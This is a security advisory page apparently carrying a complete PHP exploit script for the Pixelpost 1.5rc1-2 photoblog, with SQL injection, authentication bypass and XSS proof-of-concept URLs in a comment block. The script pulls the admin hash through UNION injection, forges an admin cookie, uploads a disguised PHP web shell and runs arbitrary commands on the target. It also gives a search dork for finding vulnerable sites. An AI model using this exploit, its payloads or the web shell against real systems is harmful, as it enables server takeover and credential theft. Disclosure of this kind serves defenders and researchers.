Pixelpost <= 1-5rc1-2 multiple vulnerabilities

Advisory Content :

#!/usr/bin/php -q -d short_open_tag=on

<?

echo "Pixelpost <= 1-5rc1-2 privilege escalation exploitrn";

echo "by rgod rgod (at) autistici (dot) org [email concealed]rn";

echo "site: http://retrogod.altervista.orgrn";

echo "dork: pixelpost "RSS 2.0" "ATOM feed" "Valid xHTML / Valid CSS"rnrn";

/*

works with:

magic_quotes_gpc=Off

*/

if ($argc<5) {

echo "Usage: php ".$argv[0]." host path your_ip cmd OPTIONSrn";

echo "host: target server (ip/hostname)rn";

echo "path: path to pixelpostrn";

echo "your ip: your actual ip adress, we need it to build an admin
cookiern";

echo " this is automatically set to your proxy ip if you use
onern";

echo "cmd: a shell commandrn";

echo "Options:rn";

echo " -T[prefix] specify a table prefix different from
"pixelpost_"rn";

echo " -p[port]: specify a port other than 80rn";

echo " -P[ip:port]: specify a proxyrn";

echo "Examples:rn";

echo "php ".$argv[0]." a.b.c.d /pixelpost/ w.x.y.z cat
./../includes/pixelpost.phprn";

echo "php ".$argv[0]." a.b.c.d / w.x.y.z ls -la -p81rn";

echo "php ".$argv[0]." a.b.c.d / none ls -la -P1.1.1.1:80rn";

die;

}

/* software site: http://www.pixelpost.org/

description: "A small photoblog application that's a no-brainer to set up
and

use - this is truly for anyone wishing regularly to post their photos on
the

web like a blog."

-----

i) sql injection in index.php near lines 670-680:

...

if($_GET['category'] != "")

{

// Modified from Mark Lewin's hack for multiple categories

$query = mysql_query("SELECT 1,t2.id,headline,image,datetime

FROM {$pixelpost_db_prefix}catassoc as t1

INNER JOIN {$pixelpost_db_prefix}pixelpost t2 on t2.id = t1.image_id

WHERE t1.cat_id = '".$_GET['category']."'

AND (datetime<='$cdate')

ORDER BY datetime DESC");

$lookingfor = 1;

}

...

nice code, isn't it?

with magic_quotes_gpc = Off:

http://[target]/[path]/index.php?x=browse&category='UNION SELECT
'1','2',admin,'4','5' FROM pixelpost_config WHERE id=1/*

http://[target]/[path]/index.php?x=browse&category='UNION SELECT
'1','2',password,'4','5' FROM pixelpost_config WHERE id=1/*

now, at screen, you have admin username & MD5 password hash and you can
build

an admin cookie:

Cookie: pp_user=[username];
pp_password=[sha1([md5hash].[your_ip_address])];

Admin can upload .php files in images/ folder, files are renamed but you
can

see new filename in main index page, so... you launch commands:

http://[target]/[path]/images/20060603005716_suntzu.php?cmd=cat%20./../i
ncludes/pixelpost.php

ii) same kind of sql injection in 'archivedate' argument at lines 681-687:

...

ELSE IF ($_GET['archivedate'] != "")

{

$where = "AND (DATE_FORMAT(datetime, '%Y-%m')='".$_GET['archivedate']."')";
//DATE_FORMAT(foo, '%Y-%m-%d')

$query = mysql_query("SELECT 1,id,headline,image, datetime FROM
".$pixelpost_db_prefix."pixelpost WHERE (datetime<='$cdate') $where ORDER
BY datetime desc");

$lookingfor = 1;

}

...

poc:

http://[target]/[path]/index.php?x=browse&archivedate=')%20UNION%20SELEC
T%20'1','2',password,'4','5'%20FROM%20pixelpost_config/*

iii)

in admin/ folder at the begin of every script, except for index.php, we
have:

<?php

if(!isset($_SESSION["pixelpost_admin"]) || $cfgrow['password'] !=
$_SESSION["pixelpost_admin"]) {

die ("Try another day!!");

}

...

if register_globals= On, you can easily bybass this protection, poc:

http://[target]/]path]/admin/view_info.php?_SESSION[pixelpost_admin]=1&c
fgrow[password]=1

this can be used to see some interesting configuration info about target
server:

http://[target]/[path]/admin/view_info.php?_SESSION[pixelpost_admin]=1&c
fgrow[password]=1&view=info

or to launch XSS attacks:

http://[target]/[path]/admin/view_info.php?_SESSION[pixelpost_admin]=1&c
fgrow[password]=1&view=info&admin_lang_pp_exif1=<script>alert(document.c
ookie)</script>

http://[target]/[path]/admin/view_info.php?_SESSION[pixelpost_admin]=1&c
fgrow[password]=1&view=info&admin_lang_pp_exif2=<script>alert(document.c
ookie)</script>

http://[target]/[path]/admin/view_info.php?_SESSION[pixelpost_admin]=1&c
fgrow[password]=1&view=info&admin_lang_pp_path=<script>alert(document.co
okie)</script>

iv) another xss, without to be logged in:

http://[target]/[path]/admin/index.php?loginmessage="><script>window.ope
n("http://retrogod.altervista.org")</script>

*/

error_reporting(0);

ini_set("max_execution_time",0);

ini_set("default_socket_timeout",5);

function quick_dump($string)

{

$result='';$exa='';$cont=0;

for ($i=0; $i<=strlen($string)-1; $i++)

{

if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))

{$result.=" .";}

else

{$result.=" ".$string[$i];}

if (strlen(dechex(ord($string[$i])))==2)

{$exa.=" ".dechex(ord($string[$i]));}

else

{$exa.=" 0".dechex(ord($string[$i]));}

$cont++;if ($cont==15) {$cont=0; $result.="rn"; $exa.="rn";}

}

return $exa."rn".$result;

}

$proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)';

function sendpacketii($packet)

{

global $proxy, $host, $port, $html, $proxy_regex;

if ($proxy=='') {

$ock=fsockopen(gethostbyname($host),$port);

if (!$ock) {

echo 'No response from '.$host.':'.$port; die;

}

}

else {

$c = preg_match($proxy_regex,$proxy);

if (!$c) {

echo 'Not a valid proxy...';die;

}

$parts=explode(':',$proxy);

echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn";

$ock=fsockopen($parts[0],$parts[1]);

if (!$ock) {

echo 'No response from proxy...';die;

}

}

fputs($ock,$packet);

if ($proxy=='') {

$html='';

while (!feof($ock)) {

$html.=fgets($ock);

}

}

else {

$html='';

while ((!feof($ock)) or
(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {

$html.=fread($ock,1);

}

}

fclose($ock);

#debug

#echo "rn".$html;

}

function is_hash($hash)

{

if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}

else {return false;}

}

function make_seed()

{

list($usec, $sec) = explode(' ', microtime());

return (float) $sec + ((float) $usec * 100000);

}

$host=$argv[1];

$path=$argv[2];

$your_ip=$argv[3];

$cmd="";$port=80;$proxy="";$table_prefix="pixelpost_";

for ($i=4; $i<=$argc-1; $i++){

$temp=$argv[$i][0].$argv[$i][1];

if (($temp<>"-p") and ($temp<>"-P") and ($temp<>"-T"))

{$cmd.=" ".$argv[$i];}

if ($temp=="-p")

{

$port=str_replace("-p","",$argv[$i]);

}

if ($temp=="-P")

{

$proxy=str_replace("-P","",$argv[$i]);

}

if ($temp=="-T")

{

$table_prefix=str_replace("-T","",$argv[$i]);

}

}

$cmd=urlencode($cmd);

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check
the path!'; die;}

if ($proxy=='') {$p=$path;} else

{

$p='http://'.$host.':'.$port.$path;

$temp=explode(":",$proxy);

$your_ip=$temp[0];

}

echo "Trying sql injection in 'category' argument...rn";

$sql="'/**/UNION
SELECT/**/'1','2',password,'4','5'/**/FROM/**/".$table_prefix."config/**
/WHERE/**/id=1/*";

$sql=urlencode($sql);

$packet="GET ".$p."?x=browse&category=".$sql." HTTP/1.0rn";

$packet.="Host: ".$host."rn";

$packet.="Connection: Closernrn";

sendpacketii($packet);

$temp=explode("alt="",$html);

$temp2=explode(""",$temp[1]);

$hash=trim($temp2[0]);

if (is_hash($hash)){

echo "admin md5 password hash -> ".$hash."rn";

$sql="'/**/UNION/**/SELECT/**/'1','2',admin,'4','5'/**/FROM/**/".$table_
prefix."config/**/WHERE/**/id=1/*";

$sql=urlencode($sql);

$packet="GET ".$p."?x=browse&category=".$sql." HTTP/1.0rn";

$packet.="Host: ".$host."rn";

$packet.="Connection: Closernrn";

sendpacketii($packet);

$temp=explode("alt="",$html);

$temp2=explode(""",$temp[1]);

$admin=trim($temp2[0]);

echo " " username -> ".$admin."rn";

}

else { echo "Trying with 'archivedate' argument...rn";

$sql="')/**/UNION
SELECT/**/'1','2',password,'4','5'/**/FROM/**/".$table_prefix."config/**
/WHERE/**/id=1/*";

$sql=urlencode($sql);

$packet="GET ".$p."?x=browse&archivedate=".$sql." HTTP/1.0rn";

$packet.="Host: ".$host."rn";

$packet.="Connection: Closernrn";

sendpacketii($packet);

$temp=explode("alt="",$html);

$temp2=explode(""",$temp[1]);

$hash=trim($temp2[0]);

if (is_hash($hash)){

echo "admin md5 password hash -> ".$hash."rn";

}

else {die ("Exploit failed...magic_quotes_gpc on here or code patched");}

$sql="')/**/UNION/**/SELECT/**/'1','2',admin,'4','5'/**/FROM/**/".$table
_prefix."config/**/WHERE/**/id=1/*";

$sql=urlencode($sql);

$packet="GET ".$p."?x=browse&archivedate=".$sql." HTTP/1.0rn";

$packet.="Host: ".$host."rn";

$packet.="Connection: Closernrn";

sendpacketii($packet);

$temp=explode("alt="",$html);

$temp2=explode(""",$temp[1]);

$admin=trim($temp2[0]);

echo " " username -> ".$admin."rn";

}

$cookie="pp_user=".$admin."; pp_password=".sha1($hash.$your_ip).";";

$packet="GET ".$p."admin/index.php HTTP/1.0rn";

$packet.="Host: ".$host."rn";

$packet.="Cookie: ".$cookie."rn";

$packet.="Connection: Closernrn";

sendpacketii($packet);

$temp=explode("Set-Cookie: ",$html);

$cookie="";

for ($i=1; $i<=count($temp); $i++)

{

$temp2=explode(" ",$temp[$i]);

$cookie.=" ".$temp2[0];

}

echo "admin cookie ->".$cookie."rn";

$shell=

'<?php

if (get_magic_quotes_gpc()){$_REQUEST["cmd"]=stripslashes($_REQUEST["cmd"])
;}

ini_set("max_execution_time",0);

error_reporting(0);

echo chr(0x2A).chr(0x64).chr(0x65).chr(0x6C).chr(0x69).chr(0x2A);

passthru($_REQUEST["cmd"]);

echo chr(0x2A).chr(0x64).chr(0x65).chr(0x6C).chr(0x69).chr(0x2A);

?>';

srand(make_seed());

$anumber = rand(1,99999);

$my_file="suntzu".$anumber.".php";

$data='

-----------------------------7d6318101b00a2

Content-Disposition: form-data; name="headline"

Under Costruction... - Admin.

-----------------------------7d6318101b00a2

Content-Disposition: form-data; name="category[]"

1

-----------------------------7d6318101b00a2

Content-Disposition: form-data; name="body"

-----------------------------7d6318101b00a2

Content-Disposition: form-data; name="autodate"

3

-----------------------------7d6318101b00a2

Content-Disposition: form-data; name="post_year"

-----------------------------7d6318101b00a2

Content-Disposition: form-data; name="post_month"

-----------------------------7d6318101b00a2

Content-Disposition: form-data; name="post_day"

-----------------------------7d6318101b00a2

Content-Disposition: form-data; name="post_hour"

-----------------------------7d6318101b00a2

Content-Disposition: form-data; name="post_minute"

-----------------------------7d6318101b00a2

Content-Disposition: form-data; name="userfile"; filename="'.$my_file.'"

Content-Type: image/jpeg

'.$shell.'

-----------------------------7d6318101b00a2

Content-Disposition: form-data; name="submit"

Upload

-----------------------------7d6318101b00a2--

';

$packet="POST ".$p."admin/index.php?x=save HTTP/1.0rn";

$packet.="Content-Type: multipart/form-data;
boundary=---------------------------7d6318101b00a2rn";

$packet.="Host: ".$host."rn";

$packet.="Content-Length: ".strlen($data)."rn";

$packet.="Cookie: ".$cookie."rn";

$packet.="Connection: Closernrn";

$packet.=$data;

sendpacketii($packet);

$packet="GET ".$p."index.php HTTP/1.0rn";

$packet.="Host: ".$host."rn";

$packet.="Connection: Closernrn";

sendpacketii($packet);

$temp=explode("img src="",$html);

$temp2=explode(" ",$temp[1]);

for ($i=1; $i<=count($temp); $i++)

{

$temp2=explode(""",$temp[$i]);

if (eregi($my_file,$temp2[0]))

{

$my_path=$temp2[0];

echo "shell -> ".$my_path."rn";

break;

}

}

$packet="GET ".$p.$my_path." HTTP/1.0rn";

$packet.="Host: ".$host."rn";

$packet.="Cookie: cmd=".$cmd.";rn";

$packet.="Connection: Closernrn";

sendpacketii($packet);

if (strstr($html,"*deli*"))

{

$temp=explode("*deli*",$html);

die("Exploit succeeded...rn".$temp[1]);

}

else

{

echo "Failed to launch commands...";

}

?>

original url: http://retrogod.altervista.org/pixelpost_15rc12_xpl.html

Security

IT News

Search

SecurityAlert Database

About SecurityAlert

ExploitAlert Database

SecurityReason Research

WLB Database

Send to WLB

About WLB

Security Audit

Schedule

Prices of services

Contact

SecurityReason IT News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Contact

About SecurityReason

Pixelpost <= 1-5rc1-2 multiple vulnerabilities